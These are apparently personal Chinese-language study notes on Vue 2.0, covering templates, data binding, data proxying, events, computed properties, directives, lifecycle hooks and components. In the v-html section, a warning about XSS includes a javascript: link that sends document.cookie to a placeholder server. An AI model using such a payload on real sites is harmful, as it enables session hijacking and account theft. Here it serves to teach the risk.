Vue2.0

news2024/11/20 13:34:28

JavaScript(JS 教程) - JavaScript | MDN

Vue是构建用户界面的 JavaScript 框架

  1. 安装 — 2.0 Vue.js
  2. GitHub - vuejs/devtools: ⚙️ Browser devtools extension for debugging Vue.js applications.
  3. Installation | Vue Devtools
  4. VSCode插件:
    LiveServerhttp://127.0.0.1:5500/   部署整个服务
  5. Download | Node.js

 

快捷键

shift+F5强制刷新
!+ Enter
Alt+shfit+A

01_初始Vue

el元素选择为哪个容器服务

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <div id="root" class="root">
        <h1>Hello,兔年2023</h1>
    </div>


    <script type="text/javascript">
        
        // 创建Vue实例
        const vm = new Vue({
            el:'#root' //el用于指定当前Vue实例为哪个容器服务,值通常为css id选择器
            el:'.root' //el用于指定当前Vue实例为哪个容器服务,值通常为css class选择器
        })
    </script>
</body>
</html>

定义data属性,并使用插值表达式

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        初始Vue:
        1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
        2.root容器里的代码符合html规范,但混入了Vue语法;
        3.root容器里的代码称为【Vue模板】
        4.Vue实例和容器是一一对应的
        5.真实开发只有一个Vue实例,并且配合着组件使用
        6.{{xxx}}中的xxx要写js表达式,且xxx可以读取data中的所欲属性
        7.一旦data中数据发生改变,那么模板中用到该数据的地方会自动更更新


        注意区分:js表达式 和 js代码(语句)
            1.表达式:一个表达式产生一个值,可以放在任何一个需要值的地方
                (1). undefined
                (2). a+b
                (3). demo(1)
                (4). x === y ? 'a':'b'
                (5). vm中的数据 _xxx $xxx xxx 
            2.js代码(语句)
                (1). if(){}
                (2). for(){}
     -->

    <!-- 准备好一个容器 -->
    <div id="root">
        <h1>Hello,{{name}}</h1>
    </div>


    <script type="text/javascript">
        
        // 创建Vue实例
        const vm = new Vue({
            el:'#root', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器
            data:{  //data用于存储数据,数据供给el指定的容器使用
                name:"兔年2023"
            }
        })
    </script>
</body>
</html>

02_Vue模板语法

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        Vue模板语法2大类
            1.插值语法:
                功能:用于解析标签体内容
                写法:{{xxx}}
            2.指令语法:
                功能:用于解析标签(包含:标签属性、标签体内容、绑定事件....) 
                写法:v-bind:href="xxx" ,也使用js表达式
     -->


    <!-- 准备好一个容器 -->
    <div id="root">
        <h1>Hello,{{name}}</h1>

        <!-- href将会发送get请求 -->
        <a v-bind:href="url">点我可以去学习</a> 
        <!-- 简写 -->
        <a :href="url">点我可以去学习</a> 
    </div>


    <script type="text/javascript">
        
        // 创建Vue实例
        const vm = new Vue({
            el:'#root', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器
            data:{  //data用于存储数据,数据供给el指定的容器使用
                name:'兔年2023',
                url:'baidu.com'.toUpperCase()
            }
        })
    </script>
</body>
</html>
推荐库
命令式编码(原生JS)   (Data -> 真实Real-Dom)    
声明式编码(VUE架构 )

   虚拟DOM+Diff算法 复用DOM

   (Data -> Virtual-Dom -> Real-Dom)

Vue 会自动跟踪 JavaScript 状态并在其发生变化时响应式地更新 DOM

开发版

vue.js

生产版 vue.min.js

脚手架

VUE cli

工具

Vue.js.tools

插件

LiveServer

awesomejs.dev/for/<vue、react>/
JQuery
let
const
原型
axios
容器容器  和 实例 只能 一对一
Vue模板容器里的代码符合html规范,但混入了写Vue语法
Vue实例缔造者
Vue实例存储数据
this可以是vue实例看看你
el实例选择器

写法一:el:'#root'
写法二:el:document.getElementById('root')
写法三:el:'.root'

指定当前Vue为哪个实例服务

MVVM模型
数据代理

Getter和Setter

利用Object.defineProperty() 把 _data对象添加到vm上,并为vm上的属性提供getter/setter点击三个点才会触发

数据劫持vm._data = optioins.data = data
vm(ViewModel)标识Vue实例的变量名
插值表达式 

JS表达式(函数)会产生单值 或  JS表达式

{{Js表达式}}

函数调用表达式  DataValue.类型函数
三元表达式
普通运算表达式
DataValue

代码
if(){} for

模板语法
插值语法指令语法
解析标签体

解析标签,标签体,绑定事件

v-?关键词?:<插值表达式>

容器标签上属性不能使用插值表达式被移除

ES6
事件冒泡触发的事件。但有的事件没有处理能力,并事件函数没有绑定在相同事件源上, 事件传播:规则是 由里往外 有事件的都被触发
div中可以嵌套 其他标签 和 内部div标签 触发 外部其他组件的 标签
冒泡,总是触发的 事件源
MDN web Docs文档
事件被动触发


 默认的报错:

  • 寻找 favicon.ico 小图标
  • Vue.config.prodTip = false 生产检测
  • 不能使用箭头函数,this会是Window会调用,函数体this会变
  • VM下面的所有数据以及原型数据,可以不带任何前缀,直接用关键字 $ _


  tagetinnerText

Windos

console.log()

 enumerable:true 控制属性枚举是否可以枚举:默认false
 writable:true 控制属性是否被修改:默认false
 configurable:true 控制属性是否被删除:默认false

document.getElementById('div id').className = ''

Object.defineProperty方法:数据代理 数据劫持 计算属性


03_数据绑定

单向绑定

页面Input修改时只会变化容器体的内容

 

不关注标签体,关注标签属性

无法修改vue实例data的内容

v-bind:<elementName>=<"JS表达式">:<elementName>=<"JS表达式">
双向模型

仅只支持 表单类元素(输入类元素),部分场景不可用

只关心Value,不关注KeyName

会修改vue实例data的内容

v-model:value=<"JS表达式">v-model=<"JS表达式">
样式绑定class不能多个,但是可以和:class配合,作为默认样式


class='basic基础样式1 style样式2'

:class="样式参数data"
单向绑定class样式 字符串写法:适用于样式类名不确定,
:class="样式参数dataArr数组"
用于数量和名字不确定

:style=”数组【styleobj1,styleobj2】“

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        Vue有2中数据绑定方式:
            1.单向绑定(v-bind):数据只能从data流向页面
            2.双向绑定(v-model):数据不仅从data流向页面,还可以从页面流向data
                注意:
                    1.双向绑定一般应用在表单类元素上操作输入value值(如:input、select等)
                    2.因为设计是操纵value,所以简写v-model就是收集value标签属性值
     -->

    <div id="root">
        <h1>Hello,{{name}}</h1>

        单向数据绑定<input type="text" v-bind:value="name">
        单向数据绑定<input type="text" :value="name">

        双向数据绑定<input type="text" v-model:value="name">
        双向数据绑定<input type="text" v-model="name">

        <!-- 这是错误的:v-model设计仅支持表单类元素(输入类元素上) -->
        双向数据绑定<h1 v-model:value="name"></h1>
    </div>


    <script type="text/javascript">
        
        // 创建Vue实例
        const vm = new Vue({
            el:'#root', 
            data:{ 
                name:'兔年2023',
            }
        })
    </script>
</body>
</html>

04_el与data的两种写法

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 
        data与el的2种写法
            1.el的2种写法
                (1)new Vue式配置el属性
                (2)先创建Vue实例,再通过vm.$mount('#root')指定el的值
            2.data的2种写法
                (1)对象式
                (2)函数式
        重要原则:
            由Vue管理的函数不能使用箭头函数,箭头函数this不再是Vue实例    
     -->

    <div id="root">
        <h1>Hello,{{name}}</h1>
    </div>


    <script type="text/javascript">
        
       /*  // el两种写法
        const vm = new Vue({
            // el:'#root',  // 第一种: 直接为容器服务 
            data:{ 
                name:'兔年2023',
            }
        })

        
        setTimeout(() => { 
            vm.$mount('#root') //第二种: 间隔为容器服务
        }, 1000); */


        const vm = new Vue({
            el:'#root',
            // 第一种:对象式
            /* data:{ 
                name:'兔年2023',
            } */


            // 第二种: 函数式(必须返回对象,对象数据是模板需要的) 组件式必须使用
            data:function name(params) {
                console.log("aaa",this);
                return{
                    name:'兔年2023',
                }
            }
        })

    </script>
</body>
</html>

05_MVVM模型


  <!-- 
       MVVM模型
            1.M: 模型(Model): data中的数据
            2.V:视图(View): 模板代码    
            3.VM: 视图模型(ViewModel):Vue实例
        观察发现
            1.data中的所有属性,最终出现在vm实例中
            2.vm实例上的所有属性 及 Vue原型所有属性,Vue模板可以直接使用
     -->

06_数据代理

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>初始Vue</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>

    <script type="text/javascript">
        let number = 18
        let person = {
            name:'张三',
            sex:'男'
        }

        // 可以对数据进行高级限制,属性映射
        Object.defineProperty(person,'age',{
            /* value:18 ,//不可用被枚举,不可用被修改,不可被删除
            enumerable:true, //控制属性可以枚举,默认false
            writable:true,
            configurable:true */

            // value:number
            // 当有人读取Personage属性时,get函数(getter)被调用,且返回值就直接赋给age的值
            get(){
                return number
            },

            set(value){
                console.log('Person的age值已经被修改,值是', value);
                number = value; // 修改属性映射值
            }
        })
       
        console.log(Object.keys(person));

        console.log(person);
    </script>
</body>
</html>



data的两种写法
对象式(直接编辑,但不适用组件)函数式(有返回值,定义函数,Vue缔造者会帮助调用)
data:function(){
    return{
       Key:Value
    }
}

data(){
    return{
       Key:Value
    }
}

样式调试器
*{
 所有统配都被加样式
}
.<标签组件class>{
 指定某class加上样式
}

.

  1. vm 将vm _data数据劫持,读出存入 vm
  2. 使用setter 和 getter代理
  3. _data改变,页面发送变化


-------------------------------------------------

事件处理

绑定事件时,@click='后面跟踪单个简单运算1;运算2'

不传参:
v-on:动作="<函数事件名>"
 

不传参:

@动作="<函数事件名>"

传参:

@动作="<函数(参

数,$event)>

事件修饰符

阻止默认冒泡事件

@clikc.prevent = ‘函数事件名'

self:event.taget

最内部标签 @click.stop

@click.once

事件只触发一次,之后失效

@click.capture

冒泡 顺序相反

@click.self

****method(e){
 e.preventDefault() 阻止条件
 alert('')


e.stopPropagation();阻止冒泡事件
}

键盘事件

vue常用按键别名
enter
delete
esc
space
tab 特殊 必须配合keydown 适合按下,但都会把光标柱隐形转移走
up
down
left
right
ctrl alt shift meta(windos徽标键 苹果common键盘)keyup  组要组合任意其他键,然后抬起组合键
keydown 正常触发
滚动条事件scroll

1、滚动条鼠标拉动

2、上下键

鼠标滚轮事件

wheel

滚轮动就会无限叠加@wheel.pass 事件i行为立即执行
passive 事件默认行为立即执行,无需等待回调事件执行

修饰符可以连续写,如@click.prevent.stop

联动效果

Method+@
watch监视侦听

命令式:可以加入setTimeout使用windows存储计时

深度监视deep:true

vm$watch('ishot',function(new,old){
 逻辑块
})




vm$watch('ishot',(new,old){
 逻辑块
})
inhot(new,old){
   逻辑
}

computed计算

无法延迟,对data重新计算,需要直接返回计算值

有缓存

Vue插件检测

计算属性

Vue: 认为 data中 key 属性 和 Vlaue 属性值需要重新计算,计算出来的属性<计算属性>

computed 需要经过一个触发:将computed名和get返回值存放进 vm。

当fullName被修改时所依赖的数据发生变化,set被调用,get自动重新被调用

computed:{ 
    重新计算后的数值,_data不会出现,但计算属性后会给vm
    get(){} 当有人读取时,直接操作Dom,当
    set(){}
}
如果只读Getter不改Setter,get可以简写

fullName<计算属性名>:function(){

代表getter

}

fullName<计算属性名>(){

代表getter 这个函数会自动执行完并计算属性填入vm

}

监视事件

监控属性
newVue{
    watch:{
        isHot:{
            配置对象
            handler<newValue,oldValue>:{ 当触发时会把修改前和修改后参数给你
        }

        immediate(初始化时就会调用,可以调用以下其他的比如Handler配置对象)
    }    
}

 
vm.$watch('ishot<显示双引号>',{
   isHot:{
        配置对象
        handler<newValue,oldValue>:{ 当触发时会把修改前和修改后参数给你
        }

        immediate(初始化时就会调用,可以调用以下其他的比如Handler配置对象)
    }    
})

用Vue避免操作Dom
 



 -------------------
为了使用工具时,动态Vue调整。建议动态data交给vue管理

也可以工具台操作 arr.shift arr.push

-----------------------------------
容器 style属性绑定
:style
如果加上vue就需要js表达式
:style="{fontSize: fsize<vue中data>+'px'}"

Obj写法

对象的key编译不能乱写,乱写不报错

systleObj{
    fontSize:

}

数组写法
:style=”数组【styleobj1,styleobj2】“
数组 -》对象-》样式
数组写法二
注意:数组可以有匿名对象,直接引用数组

样式对象data的key是固定的

----------------------------------------

条件渲染

条件显示
v-show

隐藏结构存在,操作display

可以拿到结构元素

修改频率高
v-if

结构真消失删dom

可以使用template标签

低频
v-else-if如果前面的v-if成立,则这里略过
v-else如果前面条件都不成立,则else成立


 

列表渲染
遍历对象数组

v-for='数据p in或者of  数据池' :key='p.id或index' 对象可能有相同的,但是最好有Id
{{形参p或形参p.属性}}

v-for='(数据p,索引index) in或者of 数据池'

遍历对象v-for='value,key.... in或者of  对象'
注意:key与value顺序不同
遍历字符串v-for='(字符,索引)' in或者of  字符串'
遍历指定次数v-for='(数值,索引)' in或者of  数字'
数值从1开始


index造成错乱:需要Id,虚拟Dom对比算法,对比一致的复用,节省了dom转换

---------------------------------------
 

列表过滤
数组.filter功能 过滤掉数组(filter会针对新数组操作)
字符串.indexof -1代表不存在:用字符串过滤判断

列表排序
数组.sort(前值,后值)
三元排序升降规则

--------------------------------------------------------
 

---------------------
Vue数据检测原理


数据代理: vm $data代理data ,将_data填入的data
  填入的data需要加工才可以放入_data (三个点 需要调用getter setter)

加工后就可以 作为 响应式 使用:响应式是修改后页面修改

名词:响应式reactiveset reactiveget

流程:修改数据 触发 reactiveSet 数据加工 虚拟dom 数据对比 真实dom

原生defineProperty set get:内存溢出问题
get{
 return data.属性 ===》会造成递归
}

需要使用Observer 观察者构造函数

用于监视属性变化
function Observer(){

}

需要被创建调用获取实例:构造函数 被new的时候页面刷新就会触发
const obs = new Observer(data)

console.log(数组)会帮助白能力

数组.forEach((代元素)){
 object.defineProperty(this,k,{
      data数组穿入后的 根据key操作形参
 
})
注意:get set,只需声明一遍,并且打印日志可以看到, 方法会为每一个属性都会增加,就像Java lombok
data 元对象 obj被修改的 obs将要查询的 代理对象

}


创建一个let vm 将 代理后 obs 给vm._data
但是元数据data没有变化,所以代理时:vm_data = data =obs

防止死递归,修改的data修改代理数据 触发重新解析模板 然后代理查询  虚拟Dom,而查询是代理数据

关键词:闭包

vm中,既可以控制台修改vm._data 也可以vm.name直接操作data,但这里的data已经被封装为代理

但是这里优缺点:我们自定义不能深层代理。Vue底层写了<递归代理set 和 get> 深拷贝的原理 ,对深层属性和数组中对象属性进行 配置项代理
-----------------------------------------------------
v-for 需要在li 类似于类表上使用

注意:特点,如果vue如果无法获取属性,会屏蔽underfined并不报错,但如果直接获取其没有的对象则会报错
实际原生data是没有set和get的,但是直接修改死循环:

名词:原生和vue可以在控制台直接增加新的对象配置项,直接赋值即可,但是没有set get无法被vm代理
vm_data.obj.perp
vm.perp


-响应式添加

但是Vue缔造提供了Api,方便后续添加

Vue.set(target追加的_data对象,key配置项,val配置项的值)

其实数据代理后
vm._data.student = vm.student

获取根配置项报错,但是想添加一级配置项Api无法根添加,

这种功能不是万能的,操作响应式对象添加Property,Perperty将被定义为响应式。只能给响应式上添加property,如果直接添加,将无法探测普通Property

vm也提供Api

vm.$set(target追加的_data对象,key配置项,val配置项的值)

控制台的指令 也可以代码中加

按钮+属性项:可以对进行 条件渲染

问题:v-for怎么遍历多个数组
---------------------------------------------------
问题:数组中,单配置项 无法被拦截代理 set get,因为他们的key是index。所以vue不能直接修改数组里的单配置项

数组操作(操作原数组)的函数 Vue可以检测到原生部分函数

7个代理的api
最后新增元素 push 删除 pop
shift unshift
操作指定索引位置splice() 排序sort 反转reverse
修改数组元素的属性可以生效,因为属性被set get

这些方法不能 数组.prototype.函数 ,必须 vm._data数组.被操作数组.函数,因为vm对原生API进行了代理增强,操作元数据则继续
vm._data数组.被操作数组.函数 = vm.被操作数组.函数
侦听包裹方法

数组.prototype.函数 = 数组.函数

排除
filter无法被vue检测,但可以修改data_arr
直接赋值一个元素无法检测,因为元素key 是索引 无法被set get

不能对arr[0]数组索引直接赋值,对数组索引的配置项添加修改
vm.$set(target追加的_data对象,索引,val配置项的值)
vm.$set(target追加的_data对象,索引,val配置项的值)

------------------------------------
v-if='' v-show='' 首次不显示

7个代理,他是响应式的 拥有get set
名词:data数组之splice()用法

过滤无需判断,使用原生filter concat slice给你一个新数组,然给给 _data数组替换

调用表达式时可以()传参

--------------------------------------
数据劫持:
data数据 -> 生成get set的过程 拦截代理

from+action"请求服务url"+ajax响应无刷新
lable for 标签内容,点击内容:焦点到被标签体

form表单盒子
input 互动集合标签

select选项

<textarea><textarea>输入框

a标签

v-model要收集输入值,而radio单选框,需要设置value值。
默认 会全选上,因为无知未定义
定义初始值value 就会收集

checkbox也需要value值,单Vue默认有chencked值,但如果没有value值,会将其他选项也绑定修改
默认 boolean
value +初始数组 :则收集配置项
多选框checked需要用_data数组。否则是字符串单项,即使加上value也有可能初始值会影响v-mode的手机数据影响ture false其他选项。

下拉框只需要一个字符串即可

''=false

-----------------------------------
注意:绑定button 默认会提交from 请求 并刷新整个页面
如果不想跳转:事件方法 @submit.prevent

一次性输出from表单 data:consle.log(data) 虽然被拦截过但是可以使用
变为Jason字符串,consle.log(JSON.stringify(vm._data))

可以在代理时,向上封装一层根 ===> 转化为Jason
---------------------------------------------
部分参数必须数字:
原生input type='number'  但是属于字符串数字,即使默认是数字,二次输入也会判定为字符串

所以vue使用 v-model.number

input type='number'  + v-model.number 配合使用:即使输入字母也不转换进vm容器

textarea v-model-lazy:失去焦点在收集

 v-model-lazy:trim 自动去除前后字符串

名词:Trim 正则表达式
------------------------------------------------
过滤器:
对数据进行特定逻辑处理后再显示,用于简单处理

第三方库
BootCDN:
momenet.js
day.js

script type 增加引入.js

时间戳转换: 第三方库  在 computed 和 method都可以实现

过滤器: 时间戳 data 毫秒 {{自定义毫秒time | 自定义过滤器名(过滤器的本质是函数)}}

filters:{
 自定义过滤器函数处理(百分之八自定义毫秒time 自动传入,....args传入的其他参数){
    第三方库处理.format(且默认)
return 格式化后事件
}
}

过滤器 ==> args参数

注册过滤器:局部过滤器 全局过滤器
------------------------------------------------------
过滤器串联
过滤器用法(一)插值语法
自定义毫秒time | 自定义过滤器名(过滤器的本质是函数 | 第二次处理的函数<也会将前一次值默认传入>


局部过滤器
一个newVue =>其他不能使用,但其他组件不能使用
组件 = 小Vm

全局过滤器: 在newVue实例之前在外部定义
Vue.filter({

})

过滤器用法(二)
动态标签属性绑定值 :x=”data | 串联函数“
----------------------------------
内置指令
用于绑定事件监听器,并可以绑定多个 v-on = @

自定义指令

v-if 是否需要存在 v-else
v-show 是否需要显示

v-text 可以替换标签体内容,但不能替换标签,因为不能解析标签:所有的数据项内容都当字符串内容
------------------------------------------------------
v-html 可以替换标签,和v-text

安全性问题:NodeJs = Cookie问题

名词:nodeJs.cookie

Server -> client 浏览器Cookie -> 其他浏览器虚拟身份就可以访问
使用插件:Cookie-Editor
-------------
JS代码可以获取Cookie操作
document.cookie

<a href=javascript:准备脚本函数(location.href=”目标服务器“?+document.cookie) >
前提:当前网站有Cookie
问题:javascript: query
-----------------------------
document.cookie 如果被标记HttpOnly,只能被Http解析拿去
httponly会屏蔽cookie获取参数
名词:HttpOnly
-----------------------------------------------
使用Vue动态渲染HTML,会导致XSS攻击
名词Xss 冒充用户之手攻击

只有在可信的情况下使用:用户提交内容上不要使用
--------------------------------
v-cloak

获取远程node.js vue.js资源 延迟:F12控制台可以调制网速但是不能测试延迟

阻塞:当前部无法渲染,下文也无法。比如开头进入Vue.js

使用延迟效果,可以优化VIP

调整 引入vue.js 将会展示未渲染的插值表达式,未经遍历的效果,然后延迟完,会造成”页面闪现“

v-cloak + style选择器 会在vue准备好时被vue删除。然后将其加入 [v-cloak]{display:none} 隐藏解析

----------------------------------------
v-once

解决响应式:首次初始化值。被标记的只读第一次动态渲染值,旧视为静态内容了

与Vue @event.r事件修饰符=handle Once不同
 ----------------------

v-pre

不编译解析,直接显示

给不需要JS动态的标签加 v-pre 可以增加效率

-----------------------------------
自定义指令 手动操纵Dom原生,对原生操作封装
用的使用加v- 报错和使用时都不需要v-

函数式
Vue({
    directives:{
        自定义函数(真实dom元素标签 element,对象属性(包含绑定的引入的Js的结果 以及表达式)binding)绑定和v-bingd没关系 是标签 和 自定义指令的绑定
}
})
对象式

名词:dom对象.dir 展示标签全部属性  dom对象 instanceof关键词 HTMLElement

自定义:

标签体内容内容,则 element.innerText 标签体内容 = binding.value 读取的data处理并附上

自定义指令调用时机:(一)成功绑定bingding且调用合法初次渲染 (二)指令所在的模板值修改被重新解析时再次渲染

解析标签元素 和 绑定信息,属性,标签体,绑定的事件。。。
------------------------------------------
自定义指令 对象式

页面直接获取焦点
名词:方法一 autofocus关键词
document.creatElement
document.body。appendChild

分析执行实际问题

指令 与 元素 绑定时
Vue拿起标签 与 指令 绑定 内存
看到的是模板Vue编译后的结果写入有页面
二次点击按钮,模板全部编译

回调函数:
 bind(){}创建绑定时 一次
 inserted(){}指令所在元素插入页面插入 一次
 update(){}指令所在模板重新解析时 多次 -> 建议再次调用bind再来一遍

所以自定义函数只触发了bind 和 update
------------------------------------------------
注意:

自定义命名 kebab-case命名
定义一定要小驼峰多个单词用-分割 用引号 'big-number key':function valuae(){

}
回调函数:指令回调是调用window

this是windows
自定义时,会将元数给方法:不需要vm

其他组件无法使用,需要Vue.directive 和过滤器使用类似
new Vue({
    directives:{指令名:配置对象/回调函数}
})
设置全局自定义指令:指令对象+回调函数 和 指令函数

复用的适合全局

-----------------------------------------------
Vue生命周期

注意:对象简写
绑定样式Css属性项 和 data定义的Css属性项的值 同名时,只写一个名字实现样式并显示数据
:style=“{opactity}”

vm通过外部定时器(一)
setInterval windows定时器函数:按时间重复调用
setInterval(() => {逻辑},
操作毫秒)

注意:vm 0.1+0.2 不等于0,3  ,奇偶不规则,所以有可能跳过0,判断所以用负数

vm通过外部定时器(二)
methods:
定义函数里调用自定义函数

window.onload 开局自动调用函数

问题:循环定时器

body里面解析 自调用,并非互动事件 触发methods 事件 ,一旦直接修改data里的数据,将会陷入循环。update -> bind -> update

生命周期函数:生命周期钩子、生命周期回调函数
a
b
mounted回调函数 模板解析并真实初始Dom放入页面(挂在完毕){  第一次叫挂载 : 之后渲染模板称为更新,不会调用mounted
    挂载后调用计时器
}

c
d
不同的时间点做不同的事

生命周期里的this指向vm或组件实例对象


-------------------------------------------
挂载流程

关键词: debugger断点执行必须开控制台才可以卡进去 template标签

Init 生命周期、事件开始,未做数据代理

    beforeCreate 不能访问到_data 和 methods

Init 数据检测 get set 数据代理 _data(...)

    created 通过vm访问到data 和 methods

{
是否配置#el 选项(为哪个容器服务)/ 或等你操作coast常量vm函数 > 是否配置template选项(不是vue标签)直接写入body div容器里 / new Vue时将模板内容使用ES模板字符串 反引号,但不能有两个平级的根标签,可以拿div容器包住,并直接替换 要服务的#容器
注意:template选项用法,使用template请包入容器div标签 Vue3.0模仿React写入Fragment
      yes: 编译模板 到一个 render函数里    No: el是否植入outerHTML (整个div容器 作为模板 √) inner(div容器里面不包含容器 作为模板)
} 《《《生成虚拟DOM(内存中)解析模板阶段》》》

Body静态 -》Vue动态 -》替换  (,编译完)

beforeMount : 页面呈现F12未经编译Dom结构,此处对Dom的操作最终不奏效(操作了Dom断在有效短暂会被覆盖)此处不要操作Dom

vm$el (存了一份虚拟Dom) 将虚拟Dom 转为 真实dom 插入页面(虚拟Dom复用渲染时使用)

mounted:Vue编译完,且被插入的真实Dom,对Dom有效。但避免,一般用于:开启定时器、发送网络请求、订阅消息、绑定自定义事件。是定时任务的一种
    
------------------------------------------------------------
更新流程(当数据改变时)

    beforeUpdate:数据是新的,但页面效果是旧的(页面尚未同步)

Dom 新旧 比较 完成 MVVM Model -> View的更新

    upodated :数据和页面保持同步、

---------------------------------------------
销毁流程

vm.$destroy 函数被调用 销毁vm实例,并清理他与其他实例的连接,解绑事件和自定义事件监听器(),但不解绑Vm的Dom事件
注意:
vm被销毁,之前的工作成功真实Dom依然存在

名词:组件化编程:vm实例会管理组件(微型的vm称为组件,但功能少)

    beforeDestory:data,methods最后可用状态,马上执行销毁。此时会关闭定时器、取消订阅消息、绑定自定义事件 收尾操作,可用修改数据,但不会调用Update更新

移除所有组件的监视器,以及事件监听器

    destoryed 完成,留下事件回调

不建议主动销毁
-----------------------------------------
8个( 4对)+3个 生命周期

其他方法块如果无法获取值,可用通过this缔造者参数获取 this.timer

主动销毁的问题
clearInterval 取消定时器 任务后,不允许在操作 this.$disthory:但是Dom还在执行定时器
所以可用借助 beforeDestory 消除后调用清楚定时器

销毁前遗留问题未关闭

路由 和 组件 可用被动销毁

生命钩子:
mounted ajax请求等初始函数调用,定时器等 初始化
beforeDestroy: 消除初始的定义 收尾

销毁后:
Vue工具没有任何信息,生效的Dom会一直执行,再销毁时可用访问数据但不生效

模块化 vs 组件化
模块(JS文件) vs 组件 (局部特定功能集合)

竖向 vs 横向

原生
HTML 引入 样式{CSS1 CSS2 CSS3 CSS}  交互{JS1 JS2 JS3}
HTML引入的文件依赖关系耦合,修改影响大,引入的文件依赖关系耦合,修改影响高,代码复用率不高
样式互相继承引用依赖
代码复用率不高,结构HTML标签不能复用,必须复制,除非通过JS 作为str 反引号
名词:JS模块化

组件:对整个页面模块化 组合”封装“复用
顶部 底部 导航 内容 等待模块 组件化(CSS + HTML片段 + JS)
名词:HTML片段 组件(一组工件)

组件可用嵌套使用 可以 = 其他组件 + 其他组件

组件:实现应用中 局部(组件小块)  功能代码css html js 和 资源 mp3 mp4 zip  jpg的集合

--------------------------------------------------------
非单文件组件:
    一个文件包含n个组件
单文件组件:
    一个文件中只包含1个组件
---------------------------------------------------------------

组件创建:配置项几乎一模一样
Vue.extend 扩展函数

组件不能定义服务哪一个容器#el,由newVue决定

必须组件必须使用函数式 data,因为防止 引用关系被修改

使用生命周期Template组件
template:``, 生命周期模板选项
data(){
    return{
        配置项
}
}

声明式是引用关系,会修改源数据的值,造成脏读。函数式则可用每次获取一个配置项对象,具有隔离性。


创建组件 -> 注册组件 -> 使用组件

new Vue{
    components: 注册组件
        
         使用名:引用组件名(如果一样可用胜率)

}

boyd使用组件标签<使用名> 有点像new对象

组件声明 第一步
局部注册组件 第二步

组件声明 第一步
全局注册组件 数据第二部 :Vue可用向引用data一样引用

-------------------------------------------------------
注意点

组件名:Vue会首字母大写
多字母: 'my-school' 使用横杠

多单词大驼峰命名不能直接使用:需要使用Vue脚手架
组件 = 自定义的标签 ,注意不能与Html冲突。

配置项:
定义时的名字没有用 而是在组测时名字
定义时使用name配置项,无论使用注册名 还是定义名 ,都会再开发者工具中:name

自定义也可以自闭和标签:需要使用Vue脚手架

Vue.extend可用省略 = {}

原型方法:不写关键字,Vue检测
---------------------------------------------------------
组件的嵌套

父组件 子组件

在componennts组件上:写上components 引入其他组件
注册给谁,就要父组件实现标签的调用
--------------------------------------------------------
vm管理 -》app组件 所里所有组件的组件 -》多个父子组件

标准化开发:Vue缔造者之下,app要管理所有组件,所以使用components,任何 嵌套使用template
------------------------------------------------------------
VueComponent构造函数

组件是声明数据类型:是构造函数,构造函数使用必须new VueComponent

组件本质是一个构造函数  ,是Vue.extend生成的

-------------------------------------------------------
vcVueComponent实例对象 vs vmVue:实例对象
this.data/methods/watch/computed
vc实例 vm实例 都可能是 this

vm $children组件 vc $children组件
--------------------------------------------------------

vc缔造者 不允许服务#el 容器 根实例才可以
 vm缔造者

名词:options

-----------------------------------------------------
原型引用链

原型属性获取
    (一)显式原型对象(构造函数 fun).prototype  类
    (二)隐式原型对象(函数实例 new).__proto__  实例


如何获取 原型对象
    (一)构造函数.prototype.x = 赋值 直接操作
    (二)函数实例.x (__proto__取值)  实例对象 是 由 指定的原型属性 而构造实例的值需要隐式寻找 间接操作

名词:查看实例方法 console.dir(vue)

vm实例 __proto__(访问称为 隐式原型对象) > VUE的Prototype > Vue原型对象$mount $watch > __proto__Object > 原型尽头

这样就可以调用上层构造 隐形原型链 上的 属性 函数
不同的实例调用自己"缔造者链"

Vue: 让Vc原型对象 的 原型对象 是 Vue ,所以VC可用访问到 Vue原型对象中的数据 然后 > Object
显式原型对象 === 隐式原型对象
VM 的原型对象  === VC 原型对象的原型对象
----------------------------------------------------
必须Template 标签使用VC才会调用new VC(组件实例对象)的实例
-----------------------------------------------------------
单文件组件

.vue .less后缀文件转换编译运行
名词:WebPack插件工作流 脚手架

命名.vue文件 命名规则尽量符合 工具转化后大驼峰格式 也可以使用横线


template组件结构、script交互、style组件样式

WebPack插件工作流 :Vetur  作者:Pine Wu

使用插件将高亮变色,并且三种的注释字符串都不同。

注意:使用 非单文件组件 ,样式不能跟着组件走,需要额外引入.css后缀文件

----------------------
import 和 expose

名词:ES6技术

对JS 分别暴露 统一暴露 默认暴露,暴露的方法和 ipmort导入方法不同

vm汇总

注意App.vue文件 快捷键 vetur

import ???组件 from ???文件
import {}组件 from ???文件

------------------------------------------
标准化开发

创建 main.js 入口文件(import ???组件 from ???文件,一切的开始,可以设置template选项插入标签) 和 index.html 容器(选引入vue.js 后和 main.js)

子组件负责 子结构 样式 数据 函数 父组件 负责引入 汇总 汇总结构

入口文件:进行 el容器绑定 template标签选项 引入汇总组件
-------------------------------------------
注意 import ES6写法浏览器不能直接运行,需要脚手架
------------------------------------------------------

Vue脚手架: 是Vue提供的标准化工具(开发平台) 4.x

注意:脚手架相当于java运行环境 版本尽量匹配

Vuc CLI (conmmand line interface)

需要安装nodeJS环境才可以进入npm商场下载

商城一定要配合境内镜像

bable功能:ES6 ==转换ES5 , eslint功能:语法检查

创建脚手架:

然后再包下运行 serve编译包 --》 build构建 二次编译 让浏览年器识别 -》lint语法检查
-------------------------------------------------
